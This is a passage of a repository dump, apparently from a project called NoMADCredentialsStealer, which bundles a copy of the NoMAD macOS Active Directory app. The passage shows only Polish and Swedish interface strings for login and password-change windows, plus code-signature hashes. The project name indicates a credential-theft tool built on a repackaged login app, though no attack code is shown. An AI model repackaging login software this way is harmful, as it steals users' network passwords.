"F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Preferencje"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Szablon"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "opcjonalnie"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Kerberos Realm"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "Nazwa domeny AD"; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "firma.pl"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Sekundy"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "opcjonalnie"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "opcjonalnie"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Pokaż folder domowy"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/InfoPlist.strings: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/r3ggi/NoMADCredentialsStealer/4452e7ae6d9b4065d46eb778a90ad15d7a684468/NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/InfoPlist.strings -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/Languages.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Lock Screen 6 | 7 | value 8 | Lås skärmen 9 | comment 10 | Menu Item to Lock the Screen 11 | 12 | SignIn 13 | 14 | value 15 | Logga in 16 | comment 17 | Menu item to Sign In 18 | 19 | NoMADMenuController-Connected 20 | 21 | value 22 | 23 | comment 24 | Text in the menu bar to show that NoMAD can find the Domain 25 | 26 | NoMADMenuController-NotConnected 27 | 28 | value 29 | Ej ansluten 30 | comment 31 | Text in the menu bar to show that NoMAD can not find the Domain 32 | 33 | NoMADMenuController-ChangePassword 34 | 35 | value 36 | Byt lösenord 37 | comment 38 | Menu Item to Change Password 39 | 40 | UserName 41 | 42 | value 43 | Namn 44 | comment 45 | User's full name. 46 | 47 | NoMADMenuController-GetSoftware 48 | 49 | comment 50 | Menu item to open software portal. 51 | value 52 | Hämta programvara 53 | 54 | NoMADMenuController-GetHelp 55 | 56 | value 57 | Kontakta support 58 | comment 59 | Menu item to open up the support options. 60 | 61 | NoMADMenuController-Preferences 62 | 63 | value 64 | Inställningar 65 | comment 66 | Menu item to open Preferences window. 67 | 68 | NoMADMenuController-Quit 69 | 70 | value 71 | Avsluta 72 | comment 73 | Menu item to quit NoMAD. 74 | 75 | NoMADMenuController-RenewTickets 76 | 77 | comment 78 | Menu item to renew Kerberos tickets 79 | value 80 | Förnya biljetter 81 | 82 | NoMADMenuController-PasswordExpiresInDays 83 | 84 | comment 85 | Long text for how many days until your password expires 86 | value 87 | Lösenordet går ut om %@ dagar 88 | 89 | PasswordDoesNotExpire 90 | 91 | value 92 | Lösenordet går inte ut 93 | comment 94 | menu item for when the password has no expiration date 95 | 96 | PasswordChangeSuccessful 97 | 98 | value 99 | Lösenordet har ändrats. Notera att det kan ta upp till en timme innan informationen om när lösenordet går ut uppdateras. 100 | comment 101 | message to let user know password changed successfully 102 | 103 | InvalidPassword 104 | 105 | value 106 | Felaktigt lösenord, var god försök igen. 107 | comment 108 | error when password is wrong 109 | 110 | InvalidUsername 111 | 112 | value 113 | Felaktigt användarnamn, var god försök igen. 114 | comment 115 | error when username is wrong 116 | 117 | PasswordExpire 118 | 119 | value 120 | Ditt lösenord har gått ut. Byt ut ditt lösenord nu. 121 | comment 122 | error when password has expired 123 | 124 | PasswordAboutToExpire 125 | 126 | value 127 | Ditt lösenord håller på att gå ut! 128 | comment 129 | message when password is about to expire 130 | 131 | PasswordExpiresOn 132 | 133 | value 134 | Ditt nätverkslösenord kommer att gå ut 135 | comment 136 | Your network password is about to expire on <date> 137 | 138 | PasswordMismatch 139 | 140 | value 141 | Lösenorden matchar inte. 142 | comment 143 | error when new passwords don't match 144 | 145 | NetworkLocalMismatch 146 | 147 | value 148 | Nätverkslösenord och lokalt lösenord överensstämmer inte. Ange lösenordet för din Mac. 149 | comment 150 | error when network and local passwords do not match 151 | 152 | ValidCertificate 153 | 154 | value 155 | Du har redan ett giltigt certifikat. 156 | comment 157 | user already has a valid certificate 158 | 159 | Cancel 160 | 161 | value 162 | Avbryt 163 | comment 164 | button for cancelling actions 165 | 166 | RequestAnyway 167 | 168 | value 169 | Begär ändå 170 | comment 171 | button to request anyway 172 | 173 | CertConnectionError 174 | 175 | value 176 | Anslutningsfel. Säkerställ att SSL-certifikaten är betrodda och att det är rätt adress till er x509 CA. 177 | comment 178 | message when Certificate Authority can't be reached 179 | 180 | CAConfigError 181 | 182 | value 183 | Säkerställ att inställningen för er x509 CA är korrekt. 184 | comment 185 | error when CA can't be found 186 | 187 | d 188 | 189 | value 190 | d 191 | comment 192 | short form of days 193 | 194 | HomeSharepoint 195 | 196 | value 197 | Nätverkshemmapp 198 | comment 199 | Menu item for opening up a user's home sharepoint from their AD profile 200 | 201 | LoginWindow-OldPasswordLabel 202 | 203 | value 204 | Gammalt lösenord 205 | comment 206 | Label for old password 207 | 208 | LoginWindow-PasswordLabel 209 | 210 | value 211 | Lösenord 212 | comment 213 | Label for password 214 | 215 | NoMADMenuController-SmartcardSignIn 216 | 217 | value 218 | Logga in med smartcard 219 | comment 220 | PKINIT smartcard menu sign in 221 | 222 | NoMADMenuController-SignInWithSmartcard 223 | 224 | value 225 | Logga in med ett smartcard. 226 | comment 227 | PKINIT smartcard menu sign in tool tip 228 | 229 | NoMADMenuController-NotLoggedIn 230 | 231 | value 232 | Inte inloggad. 233 | comment 234 | User info for ticket life when not signed in 235 | 236 | NoMADMenuController-NotSignedIn 237 | 238 | value 239 | Inte inloggad 240 | comment 241 | User info when not signed in 242 | 243 | NoMADMenuController-NoUser 244 | 245 | value 246 | Ingen användare 247 | comment 248 | User info when no user is available 249 | 250 | UserInformation-PasswordChanged 251 | 252 | value 253 | Lösenord ändrat 254 | comment 255 | Notification title when password changed 256 | 257 | UserInformation-PwdChangedSignInAgain 258 | 259 | value 260 | Ditt lösenord har ändrats, logga in i NoMAD igen för att uppdatera ditt lösenord. 261 | comment 262 | Notification text asking to sign in again 263 | 264 | UserInformation-Ignore 265 | 266 | value 267 | Ignorera 268 | comment 269 | Password change notification ignore button 270 | 271 | 272 | 273 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/LoginWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Sign In"; ObjectID = "6VQ-hA-QCl"; */ 2 | "6VQ-hA-QCl.title" = "Logga in"; 3 | 4 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "9um-Qh-jjA"; */ 5 | "9um-Qh-jjA.title" = "Byt lösenord"; 6 | 7 | /* Class = "NSWindow"; title = "Sign In"; ObjectID = "F0z-JX-Cv5"; */ 8 | "F0z-JX-Cv5.title" = "Logga in"; 9 | 10 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "IM1-92-Doz"; */ 11 | "IM1-92-Doz.title" = "Nytt lösenord"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "User Name"; ObjectID = "NYi-E8-wXM"; */ 14 | "NYi-E8-wXM.title" = "Användarnamn"; 15 | 16 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "Tdf-0W-Q1c"; */ 17 | "Tdf-0W-Q1c.title" = "Nytt lösenord"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Password"; ObjectID = "k8Q-BQ-grp"; */ 20 | "k8Q-BQ-grp.title" = "Lösenord"; 21 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/MainMenu.strings: -------------------------------------------------------------------------------- 1 | 2 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Change your network password."; ObjectID = "0IM-ZO-KLA"; */ 3 | "0IM-ZO-KLA.ibShadowedToolTip" = "Byt ditt nätverkslösenord."; 4 | 5 | /* Class = "NSMenuItem"; title = "Change Password"; ObjectID = "0IM-ZO-KLA"; */ 6 | "0IM-ZO-KLA.title" = "Byt lösenord"; 7 | 8 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Lock your screen."; ObjectID = "3Pf-2O-qR7"; */ 9 | "3Pf-2O-qR7.ibShadowedToolTip" = "Lås skärmen."; 10 | 11 | /* Class = "NSMenuItem"; title = "Lock Screen"; ObjectID = "3Pf-2O-qR7"; */ 12 | "3Pf-2O-qR7.title" = "Lås skärmen"; 13 | 14 | /* Class = "NSMenuItem"; title = "Preferences"; ObjectID = "3yQ-ft-CVW"; */ 15 | "3yQ-ft-CVW.title" = "Inställningar"; 16 | 17 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Certificate expiration date."; ObjectID = "A9U-v2-LiT"; */ 18 | "A9U-v2-LiT.ibShadowedToolTip" = "Certifikatets utgångsdatum."; 19 | 20 | /* Class = "NSMenuItem"; title = "CertificateDate"; ObjectID = "A9U-v2-LiT"; */ 21 | "A9U-v2-LiT.title" = "Certifikatsdatum"; 22 | 23 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Get a certificate."; ObjectID = "AlW-9M-CK2"; */ 24 | "AlW-9M-CK2.ibShadowedToolTip" = "Hämta certifikat."; 25 | 26 | /* Class = "NSMenuItem"; title = "Get Certificate"; ObjectID = "AlW-9M-CK2"; */ 27 | "AlW-9M-CK2.title" = "Hämta certifikat"; 28 | 29 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your network password expires."; ObjectID = "CUr-ED-n29"; */ 30 | "CUr-ED-n29.ibShadowedToolTip" = "Tid till ditt nätverkslösenord går ut."; 31 | 32 | /* Class = "NSMenuItem"; title = "password expires"; ObjectID = "CUr-ED-n29"; */ 33 | "CUr-ED-n29.title" = "lösenordet går ut"; 34 | 35 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Time until your Kerberos ticket expires."; ObjectID = "QYf-mL-9ta"; */ 36 | "QYf-mL-9ta.ibShadowedToolTip" = "Tid till din Kerberosbiljett går ut."; 37 | 38 | /* Class = "NSMenuItem"; title = "ticket life"; ObjectID = "QYf-mL-9ta"; */ 39 | "QYf-mL-9ta.title" = "biljettliv"; 40 | 41 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "Wa6-S1-lXm"; */ 42 | "Wa6-S1-lXm.ibShadowedToolTip" = "Logga in med ditt nätverkskonto."; 43 | 44 | /* Class = "NSMenuItem"; title = "Sign In"; ObjectID = "Wa6-S1-lXm"; */ 45 | "Wa6-S1-lXm.title" = "Logga in"; 46 | 47 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign in with your network account."; ObjectID = "XL2-b8-IwM"; */ 48 | "XL2-b8-IwM.ibShadowedToolTip" = "Logga in med ditt nätverkskonto."; 49 | 50 | /* Class = "NSMenuItem"; title = "Log In 2"; ObjectID = "XL2-b8-IwM"; */ 51 | "XL2-b8-IwM.title" = "Logga in en andra användare"; 52 | 53 | /* Class = "NSMenuItem"; title = "Get Software"; ObjectID = "fuo-5h-NuR"; */ 54 | "fuo-5h-NuR.title" = "Hämta programvara"; 55 | 56 | /* Class = "NSMenuItem"; title = "Quit"; ObjectID = "gM7-FQ-f0l"; */ 57 | "gM7-FQ-f0l.title" = "Avsluta"; 58 | 59 | /* Class = "NSMenuItem"; title = "Hidden Item 1"; ObjectID = "kql-Bl-QJE"; */ 60 | "kql-Bl-QJE.title" = "Gömt 1"; 61 | 62 | /* Class = "NSMenuItem"; title = "Dump Logs"; ObjectID = "pC8-5a-Aec"; */ 63 | "pC8-5a-Aec.title" = "Dumpa loggar"; 64 | 65 | /* Class = "NSMenuItem"; title = "Get Help"; ObjectID = "rbx-v6-fJx"; */ 66 | "rbx-v6-fJx.title" = "Kontakta support"; 67 | 68 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Your network user name."; ObjectID = "uQI-ol-UUw"; */ 69 | "uQI-ol-UUw.ibShadowedToolTip" = "Ditt användarnamn i nätverket."; 70 | 71 | /* Class = "NSMenuItem"; title = "user"; ObjectID = "uQI-ol-UUw"; */ 72 | "uQI-ol-UUw.title" = "användare"; 73 | 74 | /* Class = "NSMenuItem"; ibShadowedToolTip = "Sign out of your network account."; ObjectID = "w1A-iF-wAU"; */ 75 | "w1A-iF-wAU.ibShadowedToolTip" = "Logga ut från ditt nätverkskonto."; 76 | 77 | /* Class = "NSMenuItem"; title = "Sign Out"; ObjectID = "w1A-iF-wAU"; */ 78 | "w1A-iF-wAU.title" = "Logga ut"; 79 | 80 | /* Class = "NSMenuItem"; title = "Ticket Info"; ObjectID = "7uv-39-xiX"; */ 81 | "7uv-39-xiX.title" = "Biljettinfo"; 82 | 83 | /* Class = "NSMenuItem"; title = "Software and Help"; ObjectID = "wcV-DA-kNE"; */ 84 | "wcV-DA-kNE.title" = "Programvara och hjälp"; 85 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/PasswordChangeWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "18r-Oq-wpD"; */ 2 | "18r-Oq-wpD.title" = "Bekräfta"; 3 | 4 | /* Class = "NSWindow"; title = "Password Change"; ObjectID = "F0z-JX-Cv5"; */ 5 | "F0z-JX-Cv5.title" = "Byt lösenord"; 6 | 7 | /* Class = "NSTextFieldCell"; title = "New Password"; ObjectID = "LMe-nG-XUU"; */ 8 | "LMe-nG-XUU.title" = "Nytt lösenord"; 9 | 10 | /* Class = "NSButtonCell"; title = "Change Password"; ObjectID = "Ww7-K2-Eg9"; */ 11 | "Ww7-K2-Eg9.title" = "Byt lösenord"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Current Password"; ObjectID = "hZV-66-IGD"; */ 14 | "hZV-66-IGD.title" = "Gammalt lösenord"; 15 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/Resources/sv.lproj/PreferencesWindow.strings: -------------------------------------------------------------------------------- 1 | /* Class = "NSButtonCell"; title = "Renew Ticket"; ObjectID = "1RW-ej-qej"; */ 2 | "1RW-ej-qej.title" = "Förnya biljett"; 3 | 4 | /* Class = "NSTextFieldCell"; title = "AD Domain"; ObjectID = "3PC-dv-g1C"; */ 5 | "3PC-dv-g1C.title" = "AD Domän"; 6 | 7 | /* Class = "NSButtonCell"; title = "Use Keychain"; ObjectID = "7Oh-A9-P92"; */ 8 | "7Oh-A9-P92.title" = "Använd Nyckelring"; 9 | 10 | /* Class = "NSWindow"; title = "Preferences"; ObjectID = "F0z-JX-Cv5"; */ 11 | "F0z-JX-Cv5.title" = "Inställningar"; 12 | 13 | /* Class = "NSTextFieldCell"; title = "Template"; ObjectID = "Kes-CY-FXH"; */ 14 | "Kes-CY-FXH.title" = "Mall"; 15 | 16 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "Q7A-Jc-5cc"; */ 17 | "Q7A-Jc-5cc.placeholderString" = "valfritt"; 18 | 19 | /* Class = "NSTextFieldCell"; title = "Kerberos Realm"; ObjectID = "Ufb-5N-kJA"; */ 20 | "Ufb-5N-kJA.title" = "Kerberos Realm"; 21 | 22 | /* Class = "NSTextField"; ibShadowedToolTip = "The name of your AD Domain."; ObjectID = "ZGq-je-gSa"; */ 23 | "ZGq-je-gSa.ibShadowedToolTip" = "Namnet på din AD Domän."; 24 | 25 | /* Class = "NSTextFieldCell"; placeholderString = "company.com"; ObjectID = "dUx-kM-pRM"; */ 26 | "dUx-kM-pRM.placeholderString" = "company.com"; 27 | 28 | /* Class = "NSTextFieldCell"; title = "x509 CA"; ObjectID = "owP-RF-Kec"; */ 29 | "owP-RF-Kec.title" = "x509 CA"; 30 | 31 | /* Class = "NSTextFieldCell"; title = "Seconds"; ObjectID = "qpU-ge-el4"; */ 32 | "qpU-ge-el4.title" = "Sekunder"; 33 | 34 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "saW-aa-BZg"; */ 35 | "saW-aa-BZg.placeholderString" = "valfritt"; 36 | 37 | /* Class = "NSTextFieldCell"; placeholderString = "optional"; ObjectID = "tno-bN-cMD"; */ 38 | "tno-bN-cMD.placeholderString" = "valfritt"; 39 | 40 | /* Class = "NSButtonCell"; title = "Show Home Folder"; ObjectID = "wDv-Uk-9vU"; */ 41 | "wDv-Uk-9vU.title" = "Visa hemkatalog"; 42 | 43 | -------------------------------------------------------------------------------- /NoMADCredentialsStealer/NoMADCredentialsStealer/Executable/NoMAD.app/Contents/_CodeSignature/CodeResources: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | files 6 | 7 | Resources/AppIcon.icns 8 | 9 | 3qKgUiotU3mECEqlr+upr0iOqmc= 10 | 11 | Resources/Assets.car 12 | 13 | Fd9Mr5te6qPXZmKTuXVQERiLN0c= 14 | 15 | Resources/Base.lproj/InfoPlist.strings 16 | 17 | mKVE+ketAI5F5Y+F/V90kBFMUTI= 18 | 19 | Resources/Base.lproj/Languages.plist 20 | 21 | L+6mlkpLOpIaiR1xEbzlaGANrJ8= 22 | 23 | Resources/Base.lproj/LoginWindow.nib 24 | 25 | LoWWidAj9o5HV/qw97zu/RfgAcM= 26 | 27 | Resources/Base.lproj/MainMenu.nib 28 | 29 | 39Ef2xduYy5q1gi70/wIn5GavfA= 30 | 31 | Resources/Base.lproj/PasswordChangeWindow.nib 32 | 33 | /AYDOBI5Ixrhh4KixCvT5JKrEC0= 34 | 35 | Resources/Base.lproj/PreferencesWindow.nib 36 | 37 | 6BftE5R23/iKi1bRi97l8wRWWUg= 38 | 39 | Resources/DefaultPreferences.plist 40 | 41 | WfDSAIp8OrRM6UEpMvwZE1n1ZtU= 42 | 43 | Resources/KeychainMinder.nib 44 | 45 | HPq9vMGc8Iy6LdpQ8AKle52tDgg= 46 | 47 | Resources/da.lproj/InfoPlist.strings 48 | 49 | hash 50 | 51 | rPz5wqMvaHQk+99rx+SDsZUnH70= 52 | 53 | optional 54 | 55 | 56 | Resources/da.lproj/Languages.plist 57 | 58 | hash 59 | 60 | AiVDSll243Da5kJBILOFFtXHzhY= 61 | 62 | optional 63 | 64 | 65 | Resources/da.lproj/LoginWindow.strings 66 | 67 | hash 68 | 69 | G6FHMZOXrYv0bay+GffPo761AJA= 70 | 71 | optional 72 | 73 | 74 | Resources/da.lproj/MainMenu.strings 75 | 76 | hash 77 | 78 | Db+83FTkcDZIUOANynFG3cMZH38= 79 | 80 | optional 81 | 82 | 83 | Resources/da.lproj/PasswordChangeWindow.strings 84 | 85 | hash 86 | 87 | vF1VNbRQVF+DSD7UGVcyfe+zvXk= 88 | 89 | optional 90 | 91 | 92 | Resources/da.lproj/PreferencesWindow.strings 93 | 94 | hash 95 | 96 | z24cuQ4+eh+aElNHXEoOQKTPdZs= 97 | 98 | optional 99 | 100 | 101 | Resources/de.lproj/InfoPlist.strings 102 | 103 | hash 104 | 105 | U/Ni/ZSGC10tFc+k3LB1OgfbBw0= 106 | 107 | optional 108 | 109 | 110 | Resources/de.lproj/Languages.plist 111 | 112 | hash 113 | 114 | Pj7HpZOhHME63DZPumc0cIE1dmU= 115 | 116 | optional 117 | 118 | 119 | Resources/de.lproj/LoginWindow.strings 120 | 121 | hash 122 | 123 | 4njL1UIXFYOht4u7dbz0q2UqXcw= 124 | 125 | optional 126 | 127 | 128 | Resources/de.lproj/MainMenu.strings 129 | 130 | hash 131 | 132 | UW9ka4txuq6sud9MEx+dKf399JY= 133 | 134 | optional 135 | 136 | 137 | Resources/de.lproj/PasswordChangeWindow.strings 138 | 139 | hash 140 | 141 | NU3FdxPBonJNkNwug+e4fLVwc9M= 142 | 143 | optional 144 | 145 | 146 | Resources/de.lproj/PreferencesWindow.strings 147 | 148 | hash 149 | 150 | OfX4/98y3gKkOYiANZ1pJqmo2jA= 151 | 152 | optional 153 | 154 | 155 | Resources/en.lproj/Languages.plist 156 | 157 | hash 158 | 159 | L+6mlkpLOpIaiR1xEbzlaGANrJ8= 160 | 161 | optional 162 | 163 | 164 | Resources/es.lproj/InfoPlist.strings 165 | 166 | hash 167 | 168 | 0HTGS/scw3VMk65iLw7h92yY0r4= 169 | 170 | optional 171 | 172 | 173 | Resources/es.lproj/Languages.plist 174 | 175 | hash 176 | 177 | /sEo0hPO8/o1A1SB9F1hPXGGgec= 178 | 179 | optional 180 | 181 | 182 | Resources/es.lproj/LoginWindow.strings 183 | 184 | hash 185 | 186 | YAiZnJfqXI7YmDsOvjz5k4HxJ4s= 187 | 188 | optional 189 | 190 | 191 | Resources/es.lproj/MainMenu.strings 192 | 193 | hash 194 | 195 | UrRWCYrQm7Rp6+/djlA1fQE8Qy4= 196 | 197 | optional 198 | 199 | 200 | Resources/es.lproj/PasswordChangeWindow.strings 201 | 202 | hash 203 | 204 | j0IwdnnAqiAB0VMCZDecBnO19qU= 205 | 206 | optional 207 | 208 | 209 | Resources/es.lproj/PreferencesWindow.strings 210 | 211 | hash 212 | 213 | PJcQaTBl1rWjXpbOygQBRGZZ8K4= 214 | 215 | optional 216 | 217 | 218 | Resources/fr.lproj/InfoPlist.strings 219 | 220 | hash 221 | 222 | zDacW0XNNDDuouI1T13tlG/MvFk= 223 | 224 | optional 225 | 226 | 227 | Resources/fr.lproj/Languages.plist 228 | 229 | hash 230 | 231 | 6w+RQYZ/E9nNa73Pgd5zB6/PUUc= 232 | 233 | optional 234 | 235 | 236 | Resources/fr.lproj/LoginWindow.strings 237 | 238 | hash 239 | 240 | jRzcZhZVxmY9uRXvg4MeEpzEZ/E= 241 | 242 | optional 243 | 244 | 245 | Resources/fr.lproj/MainMenu.strings 246 | 247 | hash 248 | 249 | oS/VbVbR9UM/Jt1+UQInwILINXo= 250 | 251 | optional 252 | 253 | 254 | Resources/fr.lproj/PasswordChangeWindow.strings 255 | 256 | hash 257 | 258 | XzH+48CRZSKHUnQEXNv+x61R2tc= 259 | 260 | optional 261 | 262 | 263 | Resources/fr.lproj/PreferencesWindow.strings 264 | 265 | hash 266 | 267 | oO1fqnR8rsDY1Jo1DS9VNzeIsGE= 268 | 269 | optional 270 | 271 | 272 | Resources/nl.lproj/InfoPlist.strings 273 | 274 | hash 275 | 276 | gY2ETohrXBM01QEKLq0h0Qzf0kA= 277 | 278 | optional 279 | 280 | 281 | Resources/nl.lproj/Languages.plist 282 | 283 | hash 284 | 285 | NWvIcFog4gxV1VPatTygDdaZNjA= 286 | 287 | optional 288 | 289 | 290 | Resources/nl.lproj/Localizable.strings 291 | 292 | hash 293 | 294 | wbTYzu5izYRXkgPhA+ApuCRp2QM= 295 | 296 | optional 297 | 298 | 299 | Resources/nl.lproj/LoginWindow.strings 300 | 301 | hash 302 | 303 | /xsTvNZvsJob9tZ+/8GbHiHlewY= 304 | 305 | optional 306 | 307 | 308 | Resources/nl.lproj/MainMenu.strings 309 | 310 | hash 311 | 312 | wJnKOXLXVNmACtOgyuUVRkXyTEI= 313 | 314 | optional 315 | 316 | 317 | Resources/nl.lproj/PasswordChangeWindow.strings 318 | 319 | hash 320 | 321 | A7YsxrhLFyJqVobx+J9U940Z5wk= 322 | 323 | optional 324 | 325 | 326 | Resources/nl.lproj/PreferencesWindow.strings 327 | 328 | hash 329 | 330 | 9ZozFwBC4ddaAQZPsYjaoDqvQ3w= 331 | 332 | optional 333 | 334 | 335 | Resources/pl.lproj/InfoPlist.strings 336 | 337 | hash 338 | 339 | IlTV8aNuaGDAdwaPaha5FMnwK/E= 340 | 341 | optional 342 | 343 | 344 | Resources/pl.lproj/Languages.plist 345 | 346 | hash 347 | 348 | 93A8mtFfe0UYI/OmQ+BVGybDyR8= 349 | 350 | optional 351 | 352 | 353 | Resources/pl.lproj/LoginWindow.strings 354 | 355 | hash 356 | 357 | 4F7nlU/W2PMUIi1XClImrVAOs/M= 358 | 359 | optional 360 | 361 | 362 | Resources/pl.lproj/MainMenu.strings 363 | 364 | hash 365 | 366 | PGlKt7v0T3Yc5XTxfCDjqutsQ/4= 367 | 368 | optional 369 | 370 | 371 | Resources/pl.lproj/PasswordChangeWindow.strings 372 | 373 | hash 374 | 375 | 5dxbaKOcznNBn0DL+5G9IfzLiJ8= 376 | 377 | optional 378 | 379 | 380 | Resources/pl.lproj/PreferencesWindow.strings 381 | 382 | hash 383 | 384 | 6pI9ivvI+/mIRC2QeFifRXkuNms= 385 | 386 | optional 387 | 388 | 389 | Resources/sv.lproj/InfoPlist.strings 390 | 391 | hash 392 | 393 | /n2jrASvfN5Iz/blQhHEWxebIso= 394 | 395 | optional 396 | 397 | 398 | Resources/sv.lproj/Languages.plist 399 | 400 | hash 401 | 402 | hwo17KVPrYNXWGDm57rtGyFIL04= 403 | 404 | optional 405 | 406 | 407 | Resources/sv.lproj/LoginWindow.strings 408 | 409 | hash 410 | 411 | mx+hmWCBB3hyoNWcjWbxfPmf9GA= 412 | 413 | optional 414 | 415 | 416 | Resources/sv.lproj/MainMenu.strings 417 | 418 | hash 419 | 420 | T667phcrgNyPKDk+A/VyjT0qI04= 421 | 422 | optional 423 | 424 | 425 | Resources/sv.lproj/PasswordChangeWindow.strings 426 | 427 | hash 428 | 429 | YfZi+Oc353FytOdNn+cER+U3II4= 430 | 431 | optional 432 | 433 | 434 | Resources/sv.lproj/PreferencesWindow.strings 435 | 436 | hash 437 | 438 | fcs5Ae/lPHa1FIXQnWYf8i/4hmY= 439 | 440 | optional 441 | 442 | 443 | 444 | files2 445 | 446 | Frameworks/libswiftAppKit.dylib 447 | 448 | cdhash 449 | 450 | IvVLrw+A8rNHJbjWMMETvRB8SeQ= 451 | 452 | requirement 453 | anchor apple generic and identifier "com.apple.dt.runtime.swiftAppKit" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 454 | 455 | Frameworks/libswiftCore.dylib 456 | 457 | cdhash 458 | 459 | M+BouvX4BMLupL7E1rxJ+9N6iEA= 460 | 461 | requirement 462 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCore" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 463 | 464 | Frameworks/libswiftCoreData.dylib 465 | 466 | cdhash 467 | 468 | 7IAvv3Dr9aAHXjmvyVYwSKHw5mM= 469 | 470 | requirement 471 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreData" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 472 | 473 | Frameworks/libswiftCoreGraphics.dylib 474 | 475 | cdhash 476 | 477 | B+5ei4Ix78ziFTEq50dIxh0Op34= 478 | 479 | requirement 480 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreGraphics" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 481 | 482 | Frameworks/libswiftCoreImage.dylib 483 | 484 | cdhash 485 | 486 | 2kdQwrRTs+ixqrFkb8SoUZtquz0= 487 | 488 | requirement 489 | anchor apple generic and identifier "com.apple.dt.runtime.swiftCoreImage" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 490 | 491 | Frameworks/libswiftDarwin.dylib 492 | 493 | cdhash 494 | 495 | tmvYKMWyFFohGwmwZNQbkEIgv2I= 496 | 497 | requirement 498 | anchor apple generic and identifier "com.apple.dt.runtime.swiftDarwin" and (certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = AAPZK3CB24) 499 | 500 | 